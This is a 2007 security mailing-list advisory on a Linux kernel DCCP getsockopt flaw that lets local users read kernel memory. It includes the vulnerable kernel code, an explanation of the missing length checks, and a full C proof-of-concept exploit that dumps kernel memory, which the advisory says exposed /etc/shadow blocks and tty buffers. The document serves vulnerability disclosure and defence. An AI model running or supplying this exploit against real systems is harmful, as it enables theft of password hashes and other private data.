From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 1 Apr 2007 09:59:54 +0200
Subject: [UNIX] Linux Kernel DCCP Memory Disclosure Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20070401073501.9074358E9@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Linux Kernel DCCP Memory Disclosure Vulnerability
------------------------------------------------------------------------
SUMMARY
"The <http://www.kernel.org/> Linux kernel is a Unix-like operating
system kernel. It is the namesake of the Linux family of operating
systems. Released under the GNU General Public License (GPL) and developed
by contributors worldwide, Linux is one of the most prominent examples of
free/open source software whose developers primarily follow the philosophy
of the open source movement."
The Linux kernel is susceptible to a locally exploitable flaw which may
allow local users to steal data from the kernel memory.
DETAILS
Vulnerable Systems:
* Linux Kernel versions 2.6.2* with DCCP support enabled.
* (Kernel versions prior to 2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for getsockopt()
call with SOL_DCCP level, which are used in the delivered POC code.)
The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file:
-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
..
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
..
-----------------------
The above code doesn't check `len' variable for negative values. Because
of cast typing (len < sizeof(int)) is always true for 'len' values less
than 0.
-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
-----------------------
What happens next depends greatly on the cpu architecture in-use each cpu
architecture has its own copy_to_user() implementation. On the IA-32 the
code below:
-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n < 0);
-----------------------
.. will prevent explotation, but kernel will oops due to invalid opcode
in BUG_ON().
On some other architectures (e.g. x86-64) kernel-space data will be copied
to the user supplied buffer until end-of-kernel space (pagefault in
kernel-mode occurs) is reached.
Actually, `optlen' is not checked againist upper limit as well, so we can
simply use any large positive value for getsockopt()'s optlen and we will
be able to use it on IA32 cpus as well, without playing with signedness.
Proof of concept:
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == (void*)-1) {
printf("Alloc failed\n");
return -1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int len = BUFSIZE;
int x = getsockopt(s, 269, 11, mem, &len);
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
}
Cached disk blocks were found in the dump (e.g. /etc/shadow) and tty
buffers.
Workaround:
Remove dccp support from the installed linux kernel (remove dccp kernel
modules etc..) or create a patch for kernel sources.
ADDITIONAL INFORMATION
The information has been provided by <mailto:jagger@swiecki.net.> Robert
wi cki.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.